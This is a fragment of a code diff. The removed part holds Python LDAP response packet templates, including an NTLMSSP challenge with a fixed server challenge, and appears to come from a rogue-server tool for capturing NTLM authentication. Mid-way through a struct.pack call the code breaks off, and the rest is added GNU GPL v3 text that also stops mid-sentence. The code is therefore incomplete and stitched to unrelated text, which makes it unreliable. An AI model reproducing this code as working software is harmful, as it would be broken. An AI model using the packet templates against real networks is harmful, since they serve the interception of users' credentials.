- ("ParserHeadASNID", "\x30"),
- ("ParserHeadASNLen", "\x0c"),
- ("MessageIDASNID", "\x02"),
- ("MessageIDASNLen", "\x01"),
- ("MessageIDASNStr", "\x0f"),
- ("OpHeadASNID", "\x65"),
- ("OpHeadASNIDLen", "\x07"),
- ("SearchDoneSuccess", "\x0A\x01\x00\x04\x00\x04\x00"),#No Results.
- ])
-
-class LDAPSearchSupportedCapabilitiesPacket(Packet):
- fields = OrderedDict([
- ("ParserHeadASNID", "\x30"),
- ("ParserHeadASNLenOfLen", "\x84"),
- ("ParserHeadASNLen", "\x00\x00\x00\x7e"),#126
- ("MessageIDASNID", "\x02"),
- ("MessageIDASNLen", "\x01"),
- ("MessageIDASNStr", "\x02"),
- ("OpHeadASNID", "\x64"),
- ("OpHeadASNIDLenOfLen", "\x84"),
- ("OpHeadASNIDLen", "\x00\x00\x00\x75"),#117
- ("ObjectName", "\x04\x00"),
- ("SearchAttribASNID", "\x30"),
- ("SearchAttribASNLenOfLen", "\x84"),
- ("SearchAttribASNLen", "\x00\x00\x00\x6d"),#109
- ("SearchAttribASNID1", "\x30"),
- ("SearchAttribASN1LenOfLen", "\x84"),
- ("SearchAttribASN1Len", "\x00\x00\x00\x67"),#103
- ("SearchAttribASN2ID", "\x04"),
- ("SearchAttribASN2Len", "\x15"),#21
- ("SearchAttribASN2Str", "supportedCapabilities"),
- ("SearchAttribASN3ID", "\x31"),
- ("SearchAttribASN3LenOfLen", "\x84"),
- ("SearchAttribASN3Len", "\x00\x00\x00\x4a"),
- ("SearchAttrib1ASNID", "\x04"),
- ("SearchAttrib1ASNLen", "\x16"),#22
- ("SearchAttrib1ASNStr", "1.2.840.113556.1.4.800"),
- ("SearchAttrib2ASNID", "\x04"),
- ("SearchAttrib2ASNLen", "\x17"),#23
- ("SearchAttrib2ASNStr", "1.2.840.113556.1.4.1670"),
- ("SearchAttrib3ASNID", "\x04"),
- ("SearchAttrib3ASNLen", "\x17"),#23
- ("SearchAttrib3ASNStr", "1.2.840.113556.1.4.1791"),
- ("SearchDoneASNID", "\x30"),
- ("SearchDoneASNLenOfLen", "\x84"),
- ("SearchDoneASNLen", "\x00\x00\x00\x10"),#16
- ("MessageIDASN2ID", "\x02"),
- ("MessageIDASN2Len", "\x01"),
- ("MessageIDASN2Str", "\x02"),
- ("SearchDoneStr", "\x65\x84\x00\x00\x00\x07\x0a\x01\x00\x04\x00\x04\x00"),
- ## No need to calculate anything this time, this packet is generic.
- ])
-
-class LDAPSearchSupportedMechanismsPacket(Packet):
- fields = OrderedDict([
- ("ParserHeadASNID", "\x30"),
- ("ParserHeadASNLenOfLen", "\x84"),
- ("ParserHeadASNLen", "\x00\x00\x00\x60"),#96
- ("MessageIDASNID", "\x02"),
- ("MessageIDASNLen", "\x01"),
- ("MessageIDASNStr", "\x02"),
- ("OpHeadASNID", "\x64"),
- ("OpHeadASNIDLenOfLen", "\x84"),
- ("OpHeadASNIDLen", "\x00\x00\x00\x57"),#87
- ("ObjectName", "\x04\x00"),
- ("SearchAttribASNID", "\x30"),
- ("SearchAttribASNLenOfLen", "\x84"),
- ("SearchAttribASNLen", "\x00\x00\x00\x4f"),#79
- ("SearchAttribASNID1", "\x30"),
- ("SearchAttribASN1LenOfLen", "\x84"),
- ("SearchAttribASN1Len", "\x00\x00\x00\x49"),#73
- ("SearchAttribASN2ID", "\x04"),
- ("SearchAttribASN2Len", "\x17"),#23
- ("SearchAttribASN2Str", "supportedSASLMechanisms"),
- ("SearchAttribASN3ID", "\x31"),
- ("SearchAttribASN3LenOfLen", "\x84"),
- ("SearchAttribASN3Len", "\x00\x00\x00\x2a"),#42
- ("SearchAttrib1ASNID", "\x04"),
- ("SearchAttrib1ASNLen", "\x06"),#6
- ("SearchAttrib1ASNStr", "GSSAPI"),
- ("SearchAttrib2ASNID", "\x04"),
- ("SearchAttrib2ASNLen", "\x0a"),#10
- ("SearchAttrib2ASNStr", "GSS-SPNEGO"),
- ("SearchAttrib3ASNID", "\x04"),
- ("SearchAttrib3ASNLen", "\x08"),#8
- ("SearchAttrib3ASNStr", "EXTERNAL"),
- ("SearchAttrib4ASNID", "\x04"),
- ("SearchAttrib4ASNLen", "\x0a"),#10
- ("SearchAttrib4ASNStr", "DIGEST-MD5"),
- ("SearchDoneASNID", "\x30"),
- ("SearchDoneASNLenOfLen", "\x84"),
- ("SearchDoneASNLen", "\x00\x00\x00\x10"),#16
- ("MessageIDASN2ID", "\x02"),
- ("MessageIDASN2Len", "\x01"),
- ("MessageIDASN2Str", "\x02"),
- ("SearchDoneStr", "\x65\x84\x00\x00\x00\x07\x0a\x01\x00\x04\x00\x04\x00"),
- ## No need to calculate anything this time, this packet is generic.
- ])
-
-class LDAPNTLMChallenge(Packet):
- fields = OrderedDict([
- ("ParserHeadASNID", "\x30"),
- ("ParserHeadASNLenOfLen", "\x84"),
- ("ParserHeadASNLen", "\x00\x00\x00\xD0"),#208
- ("MessageIDASNID", "\x02"),
- ("MessageIDASNLen", "\x01"),
- ("MessageIDASNStr", "\x02"),
- ("OpHeadASNID", "\x61"),
- ("OpHeadASNIDLenOfLen", "\x84"),
- ("OpHeadASNIDLen", "\x00\x00\x00\xc7"),#199
- ("Status", "\x0A"),
- ("StatusASNLen", "\x01"),
- ("StatusASNStr", "\x0e"), #In Progress.
- ("MatchedDN", "\x04\x00"), #Null
- ("ErrorMessage", "\x04\x00"), #Null
- ("SequenceHeader", "\x87"),
- ("SequenceHeaderLenOfLen", "\x81"),
- ("SequenceHeaderLen", "\x82"), #188
- ("NTLMSSPSignature", "NTLMSSP"),
- ("NTLMSSPSignatureNull", "\x00"),
- ("NTLMSSPMessageType", "\x02\x00\x00\x00"),
- ("NTLMSSPNtWorkstationLen","\x1e\x00"),
- ("NTLMSSPNtWorkstationMaxLen","\x1e\x00"),
- ("NTLMSSPNtWorkstationBuffOffset","\x38\x00\x00\x00"),
- ("NTLMSSPNtNegotiateFlags","\x15\x82\x89\xe2"),
- ("NTLMSSPNtServerChallenge","\x81\x22\x33\x34\x55\x46\xe7\x88"),
- ("NTLMSSPNtReserved","\x00\x00\x00\x00\x00\x00\x00\x00"),
- ("NTLMSSPNtTargetInfoLen","\x94\x00"),
- ("NTLMSSPNtTargetInfoMaxLen","\x94\x00"),
- ("NTLMSSPNtTargetInfoBuffOffset","\x56\x00\x00\x00"),
- ("NegTokenInitSeqMechMessageVersionHigh","\x05"),
- ("NegTokenInitSeqMechMessageVersionLow","\x02"),
- ("NegTokenInitSeqMechMessageVersionBuilt","\xce\x0e"),
- ("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
- ("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
- ("NTLMSSPNtWorkstationName","SMB12"),
- ("NTLMSSPNTLMChallengeAVPairsId","\x02\x00"),
- ("NTLMSSPNTLMChallengeAVPairsLen","\x0a\x00"),
- ("NTLMSSPNTLMChallengeAVPairsUnicodeStr","smb12"),
- ("NTLMSSPNTLMChallengeAVPairs1Id","\x01\x00"),
- ("NTLMSSPNTLMChallengeAVPairs1Len","\x1e\x00"),
- ("NTLMSSPNTLMChallengeAVPairs1UnicodeStr","SERVER2008"),
- ("NTLMSSPNTLMChallengeAVPairs2Id","\x04\x00"),
- ("NTLMSSPNTLMChallengeAVPairs2Len","\x1e\x00"),
- ("NTLMSSPNTLMChallengeAVPairs2UnicodeStr","smb12.local"),
- ("NTLMSSPNTLMChallengeAVPairs3Id","\x03\x00"),
- ("NTLMSSPNTLMChallengeAVPairs3Len","\x1e\x00"),
- ("NTLMSSPNTLMChallengeAVPairs3UnicodeStr","SERVER2008.smb12.local"),
- ("NTLMSSPNTLMChallengeAVPairs5Id","\x05\x00"),
- ("NTLMSSPNTLMChallengeAVPairs5Len","\x04\x00"),
- ("NTLMSSPNTLMChallengeAVPairs5UnicodeStr","smb12.local"),
- ("NTLMSSPNTLMChallengeAVPairs6Id","\x00\x00"),
- ("NTLMSSPNTLMChallengeAVPairs6Len","\x00\x00"),
- ])
-
- def calculate(self):
-
- ##Convert strings to Unicode first...
- self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le')
- self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le')
- self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le')
- self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le')
- self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le')
- self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le')
-
- ###### Workstation Offset
- CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
-
- ###### AvPairs Offset
- CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
-
- ###### LDAP Packet Len
- CalculatePacketLen = str(self.fields["MessageIDASNID"])+str(self.fields["MessageIDASNLen"])+str(self.fields["MessageIDASNStr"])+str(self.fields["OpHeadASNID"])+str(self.fields["OpHeadASNIDLenOfLen"])+str(self.fields["OpHeadASNIDLen"])+str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["MatchedDN"])+str(self.fields["ErrorMessage"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])+CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
-
-
- OperationPacketLen = str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["MatchedDN"])+str(self.fields["ErrorMessage"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])+CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
-
- NTLMMessageLen = CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
-
- ##### LDAP Len Calculation:
- self.fields["ParserHeadASNLen"] = struct.pack(">i", len(CalculatePacketLen))
- self.fields["OpHeadASNIDLen"] = struct.pack(">i", len(OperationPacketLen))
- self.fields["SequenceHeaderLen"] = struct.pack(">B", len(NTLMMessageLen))
-
- ##### Workstation Offset Calculation:
- self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+ Preamble
+
+ The GNU General Public License is a free, copyleft license for
+software and other kinds of works.
+
+ The licenses for most software and other practical works are designed
+to take away your freedom to share and change the works. By contrast,
+the GNU General Public License is intended to guarantee your freedom to
+share and change all versions of a program--to make sure it remains free
+software for all its users. We, the Free Software Foundation, use the
+GNU General Public License for most of our software; it applies also to
+any other work released this way by its authors. You can apply it to
+your programs, too.
+
+ When we speak of free software, we are referring to freedom, not
+price. Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+them if you wish), that you receive source code or can get it if you
+want it, that you can change the software or use pieces of it in new
+free programs, and that you know you can do these things.
+
+ To protect your rights, we need to prevent others from denying you
+these rights or asking you to surrender the rights. Therefore, you have
+certain responsibilities if you distribute copies of the software, or if
+you modify it: responsibilities to respect the freedom of others.
+
+ For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must pass on to the recipients the same
+freedoms that you received. You must make sure that they, too, receive
+or can get the source code. And you must show them these terms so they
+know their rights.
+
+ Developers that use the GNU GPL protect your rights with two steps:
+(1) assert copyright on the software, and (2) offer you this License
+giving you legal permission to copy, distribute and/or modify it.
+
+ For the developers' and authors' protection, the GPL clearly explains
+that there is no warranty for this free software. For both users' and
+authors' sake, the GPL requires that modified versions be marked as
+changed, so that their problems will not be attributed erroneously to
+authors of previous versions.
+
+ Some devices are designed to deny users access to install or run
+modified versions of the software inside them, although the manufacturer
+can do so. This is fundamentally incompatible with the aim of
+protecting users' freedom to change the software. The systematic
+pattern of such abuse occurs in the area of products for individuals to
+use, which is precisely where it is most unacceptable. Therefore, we
+have designed this version of the GPL to prohibit the practice for those
+products. If such problems arise substantially in other domains, we
+stand ready to extend this provision to those domains in future versions
+of the GPL, as needed to protect the freedom of users.
+
+ Finally, every program is threatened constantly by software patents.
+States should not allow patents to restrict development and use of
+software on general-purpose computers, but in those that do, we wish to
+avoid the special danger that patents applied to a free program could
+make it effectively proprietary. To prevent this, the GPL assures that
+patents cannot be used to render the program non-free.
+
+ The precise terms and conditions for copying, distribution and
+modification follow.
+
+ TERMS AND CONDITIONS
+
+ 0. Definitions.
+
+ "This License" refers to version 3 of the GNU General Public License.
+
+ "Copyright" also means copyright-like laws that apply to other kinds of
+works, such as semiconductor masks.
+
+ "The Program" refers to any copyrightable work licensed under this
+License. Each licensee is addressed as "you". "Licensees" and
+"recipients" may be individuals or organizations.
+
+ To "modify" a work means to copy from or adapt all or part of the work
+in a fashion requiring copyright permission, other than the making of an
+exact copy. The resulting work is called a "modified version" of the
+earlier work or a work "based on" the earlier work.
+
+ A "covered work" means either the unmodified Program or a work based
+on the Program.
+
+ To "propagate" a work means to do anything with it that, without
+permission, would make you directly or secondarily liable for
+infringement under applicable copyright law, except executing it on a
+computer or modifying a private copy. Propagation includes copying,
+distribution (with or without modification), making available to the
+public, and in some countries other activities as well.
+
+ To "convey" a work means any kind of propagation that enables other
+parties to make or receive copies. Mere interaction with a user through
+a computer network, with no transfer of a copy, is not conveying.
+
+ An interactive user interface displays "Appropriate Legal Notices"
+to the extent that it includes a convenient and prominently visible
+feature that (1) displays an appropriate copyright notice, and (2)
+tells the user that there is no warranty for the work (except to the
+extent that warranties are provided), that licensees may convey the
+work under this License, and how to view a copy of this License. If
+the interface presents a list of user commands or options, such as a
+menu, a prominent item in the list meets this criterion.
+
+ 1. Source Code.
+
+ The "source code" for a work means the preferred form of the work
+for making modifications to it. "Object code" means any non-source
+form of a work.
+
+ A "Standard Interface" means an interface that either is an official
+standard defined by a recognized standards body, or, in the case of
+interfaces specified for a particular programming language, one that
+is widely used among developers working in that language.
+
+ The "System Libraries" of an executable work include anything, other
+than the work as a whole, that (a) is included in the normal form of
+packaging a Major Component, but which is not part of that Major
+Component, and (b) serves only to enable use of the work with that
+Major Component, or to implement a Standard Interface for which an
+implementation is available to the public in source code form. A
+"Major Component", in this context, means a major essential component
+(kernel, window system, and so on) of the specific operating system
+(if any) on which the executable work runs, or a compiler used to
+produce the work, or an object code interpreter used to run it.
+
+ The "Corresponding Source" for a work in object code form means all
+the source code needed to generate, install, and (for an executable
+work) run the object code and to modify the work, including scripts to
+control those activities. However, it does not include the work's
+System Libraries, or general-purpose tools or generally available free
+programs which are used unmodified in performing those activities but
+which are not part of the work. For example, Corresponding Source
+includes interface definition files associated with source files for
+the work, and the source code for shared libraries and dynamically
+linked subprograms that the work is specifically designed to require,
+such as by intimate data communication or control flow between those
+subprograms and other parts of the work.
+
+ The Corresponding Source need not include anything that users
+can regenerate automatically from other parts of the Corresponding
+Source.
+
+ The Corresponding Source for a work in source code form is that
+same work.
+
+ 2. Basic Permissions.
+
+ All rights granted under this License are granted for the term of
+copyright on the Program, and are irrevocable provided the stated
+conditions are met. This License explicitly affirms your unlimited
+permission to run the unmodified Program. The output from running a
+covered work is covered by this License only if the output, given its
+content, constitutes a covered work. This License acknowledges your
+rights of fair use or other equivalent, as provided by copyright law.
+
+ You may make, run and propagate covered works that you do not
+convey, without conditions so long as your license otherwise remains
+in force. You may convey covered works to others for the sole purpose
+of having them make modifications exclusively for you, or provide you
+with facilities for running those works, provided that you comply with
+the terms of this License in conveying all material for which you do
+not control copyright. Those thus making or running the covered works
+for you must do so exclusively on your behalf, under your direction
+and control, on terms that prohibit them from making any copies of
+your copyrighted material outside their relationship with you.
+
+ Conveying under any other circumstances is permitted solely under
+the conditions stated below. Sublicensing is not allowed; section 10
+makes it unnecessary.
+
+ 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
+
+ No covered work shall be deemed part of an effective technological
+measure under any applicable law fulfilling obligations under article
+11 of the WIPO copyright treaty adopted on 20 December 1996, or
+similar laws prohibiting or restricting circumvention of such
+measures.
+
+ When you convey a covered work, you waive any legal power to forbid
+circumvention of technological measures to the extent such circumvention
+is effected by exercising rights under this License with respect to
+the covered work, and you disclaim any intention to limit operation or
+modification of the work as a means of enforcing, against the work's
+users, your or third parties' legal rights to forbid circumvention of
+technological measures.
+
+ 4. Conveying Verbatim Copies.
+
+ You may convey verbatim copies of the Program's source code as you
+receive it, in any medium, provided that you conspicuously and
+appropriately publish on each copy an appropriate copyright notice;
+keep intact all notices stating that this License and any
+non-permissive terms added in accord with section 7 apply to the code;
+keep intact all notices of the absence of any warranty; and give all
+recipients a copy of this License along with the Program.
+
+ You may charge any price or no price for each copy that you convey,
+and you may offer support or warranty protection for a fee.
+
+ 5. Conveying Modified Source Versions.
+
+ You may convey a work based on the Program, or the modifications to
+produce it from the Program, in the form of source code under the
+terms of section 4, provided that you also meet all of these conditions:
+
+ a) The work must carry prominent notices stating that you modified
+ it, and giving a relevant date.
+
+ b) The work must carry prominent notices stating that it is
+ released under this License and any conditions added under section
+ 7. This requirement modifies the requirement in section 4 to
+ "keep intact all notices".
+
+ c) You must license the entire work, as a whole, under this
+ License to anyone who comes into possession of a copy. This
+ License will therefore apply, along with any applicable section 7
+ additional terms, to the whole of the work, and all its parts,
+ regardless of how they are packaged. This License gives no
+ permission to license the work in any other way, but it does not
+ invalidate such permission if you have separately received it.
+
+ d) If the work has interactive user interfaces, each must display
+ Appropriate Legal Notices; however, if the Program has interactive
+ interfaces that do not display Appropriate Legal Notices, your
+ work need not make them do so.
+
+ A compilation of a covered work with other separate and independent
+works, which are not by their nature extensions of the covered work,
+and which are not combined with it such as to form a larger program,
+in or on a volume of a storage or distribution medium, is called an
+"aggregate" if the compilation and its resulting copyright are not
+used to limit the access or legal rights of the compilation's users
+beyond what the individual works permit. Inclusion of a covered work
+in an aggregate does not cause this License to apply to the other
+parts of the aggregate.
+
+ 6. Conveying Non-Source Forms.
+
+ You may convey a covered work in object code form under the terms
+of sections 4 and 5, provided that you also convey the
+machine-readable Corresponding Source under the terms of this License,
+in one of these ways:
+
+ a) Convey the object code in, or embodied in, a physical product
+ (including a physical distribution medium), accompanied by the
+ Corresponding Source fixed on a durable physical medium
+ customarily used for software interchange.
+
+ b) Convey the object code in, or embodied in, a physical product
+ (including a physical distribution medium), accompanied by a
+ written offer, valid for at least three years and valid for as
+ long as you offer spare parts or customer support for that product
+ model, to give anyone who possesses the object code either (1) a
+ copy of the Corresponding Source for all the software in the
+ product that is covered by this License, on a durable physical
+ medium customarily used for software interchange, for a price no
+ more than your reasonable cost of physically performing this
+ conveying of source, or (2) access to copy the
+ Corresponding Source from a network server at no charge.
+
+ c) Convey individual copies of the object code with a copy of the
+ written offer to provide the Corresponding Source. This
+ alternative is allowed only occasionally and noncommercially, and
+ only if you received the object code with such an offer, in accord
+ with subsection 6b.
+
+ d) Convey the object code by offering access from a designated
+ place (gratis or for a charge), and offer equivalent access to the
+ Corresponding Source in the same way through the same place at no
+ further charge. You need not require recipients to copy the
+ Corresponding Source along with the object code. If the place to
+ copy the object code is a network server, the Corresponding Source
+ may be on a different server (operated by you or a third party)
+ that supports equivalent copying facilities, provided you maintain
+ clear directions next to the object code saying where to find the
+ Corresponding Source. Regardless of what server hosts the
+ Corresponding Source, you remain obligated to ensure that it is
+ available for as long as needed to satisfy these requirements.
+
+ e) Convey the object code using peer-to-peer transmission, provided
+ you inform other peers where the object code and Corresponding
+ Source of the work are being offered to the general public at no
+ charge under subsection 6d.
+
+ A separable portion of the object code, whose source code is excluded
+from the Corresponding Source as a System Library, need not be
+included in conveying the object code work.
+
+ A "User Product" is either (1) a "consumer product", which means any
+tangible personal property which is normally used for personal, family,
+or household purposes, or (2) anything designed or sold for incorporation
+into a dwelling. In determining whether a product is a consumer product,
+doubtful cases shall be resolved in favor of coverage. For a particular
+product received by a particular user, "normally used" refers to a
+typical or common use of that class of product, regardless of the status
+of the particular user or of the way in which the particular user
+actually uses, or expects or is expected to use, the product. A product
+is a consumer product regardless of whether the product has substantial
+commercial, industrial or non-consumer uses, unless such uses represent
+the only significant mode of use of the product.
+
+ "Installation Information" for a User Product means any methods,
+procedures, authorization keys, or other information required to install
+and execute modified versions of a covered work in that User Product from
+a modified version of its Corresponding Source. The information must
+suffice to ensure that the continued functioning of the modified object
+code is in no case prevented or interfered with solely because
+modification has been made.
+
+ If you convey an object code work under this section in, or with, or
+specifically for use in, a User Product, and the conveying occurs as
+part of a transaction in which the right of possession and use of the
+User Product is transferred to the recipient in perpetuity or for a
+fixed term (regardless of how the transaction is characterized), the
+Corresponding Source conveyed under this section must be accompanied
+by the Installation Information. But this requirement does not apply
+if neither you nor any third party retains the ability to install
+modified object code on the User Product (for example, the work has
+been installed in ROM).
+
+ The requirement to provide Installation Information does not include a
+requirement to continue to provide support service, warranty, or updates
+for a work that has been modified or installed by the recipient, or for
+the User Product in which it has been modified or installed. Access to a
+network may be denied when the modification itself materially and
+adversely affects the operation of the network or violates the rules and
+protocols for communication across the network.
+
+ Corresponding Source conveyed, and Installation Information provided,
+in accord with this section must be in a format that is publicly
+documented (and with an implementation available to the public in
+source code form), and must require no special password or key for
+unpacking, reading or copying.
+
+ 7. Additional Terms.
+
+ "Additional permissions" are terms that supplement the terms of this
+License by making exceptions from one or more of its conditions.
+Additional permissions that are applicable to the entire Program shall
+be treated as though they were included in this License, to the extent
+that they are valid under applicable law. If additional permissions
+apply only to part of the Program, that part may be used separately
+under those permissions, but the entire Program remains governed by
+this License without regard to the additional permissions.
+
+ When you convey a copy of a covered work, you may at your option
+remove any additional permissions from that copy, or from any part of
+it. (Additional permissions may be written to require their own
+removal in certain cases when you modify the work.) You may place
+additional permissions on material, added by you to a covered work,
+for which you have or can give appropriate copyright permission.
+
+ Notwithstanding any other provision of this License, for material you
+add to a covered work, you may (if authorized by the copyright holders of
+that material) supplement the terms of this License with terms:
+
+ a) Disclaiming warranty or limiting liability differently from the
+ terms of sections 15 and 16 of this License; or
+
+ b) Requiring preservation of specified reasonable legal notices or
+ author attributions in that material or in the Appropriate Legal
+ Notices displayed by works containing it; or
+
+ c) Prohibiting misrepresentation of the origin of that material, or
+ requiring that modified versions of such material be marked in
+ reasonable ways as different from the original version; or
+
+ d) Limiting the use for publicity purposes of names of licensors or
+ authors of the material; or
+
+ e) Declining to grant rights under trademark law for use of some
+ trade names, trademarks, or service marks; or
+
+ f) Requiring indemnification of licensors and authors of that
+ material by anyone who conveys the material (or modified versions of
+ it) with contractual assumptions of liability to the recipient, for
+ any liability that these contractual assumptions directly impose on
+ those licensors and authors.
+
+ All other non-permissive additional terms are considered "further
+restrictions" within the meaning of section 10. If the Program as you
+received it, or any part of it, contains a notice stating that it is
+governed by this License along with a term that is a further
+restriction, you may remove that term. If a license document contains
+a further restriction but permits relicensing or conveying under this
+License, you may add to a covered work material governed by the terms
+of that license document, provided that the further restriction does
+not survive such relicensing or conveying.
+
+ If you add terms to a covered work in accord with this section, you
+must place, in the relevant source files, a statement of the
+additional terms that apply to those files, or a notice indicating
+where to find the applicable terms.
+
+ Additional terms, permissive or non-permissive, may be stated in the
+form of a separately written license, or stated as exceptions;
+the above requirements apply either way.
+
+ 8. Termination.
+
+ You may not propagate or modify a covered work except as expressly
+provided under this License. Any attempt otherwise to propagate or
+modify it is void, and will automatically terminate your rights under
+this License (including any patent licenses granted under the third
+paragraph of section 11).
+
+ However, if you cease all violation of this License, then your
+license from a particular copyright holder is reinstated (a)
+provisionally, unless and until the copyright holder explicitly and
+finally terminates your license, and (b) permanently, if the copyright
+holder fails to notify you of the violation by some reasonable means
+prior to 60 days after the cessation.
+
+ Moreover, your license from a particular copyright holder is
+reinstated permanently if the copyright holder notifies you of the
+violation by some reasonable means, this is the first time you have
+received notice of violation of this License (for any work) from that
+copyright holder, and you cure the violation prior to 30 days after
+your receipt of the notice.
+
+ Termination of your rights under this section does not terminate the
+licenses of parties who have received copies or rights from you under
+this License. If your rights have been terminated and not permanently
+reinstated, you do not qualify to receive new licenses for the same
+material under section 10.
+
+ 9. Acceptance Not Required for Having Copies.
+
+ You are not required to accept this License in order to receive or
+run a copy of the Program. Ancillary propagation of a covered work
+occurring solely as a consequence of using peer-to-peer transmission
+to receive a copy likewise does not require acceptance. However,
+nothing other than this License grants you permission to propagate or
+modify any covered work. These actions infringe copyright if you do
+not accept this License. Therefore, by modifying or propagating a
+covered work, you indicate your acceptance of this License to do so.
+
+ 10. Automatic Licensing of Downstream Recipients.
+
+ Each time you convey a covered work, the recipient automatically
+receives a license from the original licensors, to run, modify and
+propagate that work, subject to this License. You are not responsible
+for enforcing compliance by third parties with this License.
+
+ An "entity transaction" is a transaction transferring control of an
+organization, or substantially all assets of one, or subdividing an
+organization, or merging organizations. If propagation of a covered
+work results from an entity transaction, each party to that
+transaction who receives a copy of the work also receives whatever
+licenses to the work the party's predecessor in interest had or could
+give under the previous paragraph, plus a right to possession of the
+Corresponding Source of the work from the predecessor in interest, if
+the predecessor has it or can get it with reasonable efforts.
+
+ You may not impose any further restrictions on the exercise of the
+rights granted or affirmed under this License. For example, you may
+not impose a license fee, royalty, or other charge for exercise of
+rights granted under this License, and you may not initiate litigation
+(including a cross-claim or counterclaim in a lawsuit) alleging that
+any patent claim is infringed by making, using, selling, offering for
+sale, or importing the Program or any portion of it.
+
+ 11. Patents.
+
+ A "contributor" is a copyright holder who authorizes use under this
+License of the Program or a work on which the Program is based. The
+work thus licensed is called the contributor's "contributor version".
+
+ A contributor's "essential patent claims" are all patent claims
+owned or controlled by the contributor, whether already acquired or
+hereafter acquired, that would be infringed by some manner, permitted
+by this License, of making, using, or selling its contributor version,
+but do not include claims that would be infringed only as a
+consequence of further modification of the contributor version. For
+purposes of this definition, "control" includes the right to grant
+patent sublicenses in a manner consistent with the requirements of
+this License.
+
+ Each contributor grants you a non-exclusive, worldwide, royalty-free
+patent license under the contributor's essential patent claims, to
+make, use, sell, offer for sale, import and otherwise run, modify and
+propagate the contents of its contributor version.
+
+ In the following three paragraphs, a "patent license" is any express
+agreement or commitment, however denominated, not to enforce a patent
+(such as an express permission to practice a patent or covenant not to
+sue for patent infringement). To "grant" such a patent license to a
+party means to make such an agreement or commitment not to enforce a
+patent against the party.
+
+ If you convey a covered work, knowingly relying on a patent license,
+and the Corresponding Source of the work is not available for anyone
+to copy, free of charge and under the terms of this License, through a
+publicly available network server or other readily accessible means,
+then you must either (1) cause the Corresponding Source to be so
+available, or (2) arrange to deprive yourself of the benefit of the
+patent license for this particular work, or (3) arrange, in a manner
+consistent with the requirements of this License, to extend the patent
+license to downstream recipients. "Knowingly relying" means you have
+actual knowledge that, but for the patent license, your conveying the
+covered work in a country, or your recipient's use of the covered work
+in a country, would infringe one or more identifiable patents in that
+country that you have reason to believe are valid.
+
+ If, pursuant to or in connection with a single transaction or
+arrangement, you convey, or propagate by procuring conveyance of, a
+covered work, and grant a patent license to some of the parties
+receiving the covered work authorizing them to use, propagate, modify
+or convey a specific copy of the covered work, then the patent license
+you grant is automatically extended to all recipients of the covered
+work and works based on it.
+
+ A patent license is "discriminatory" if it does not include within
+the scope of its coverage, prohibits the exercise of, or is
+conditioned on the non-exercise of one or more of the rights that are
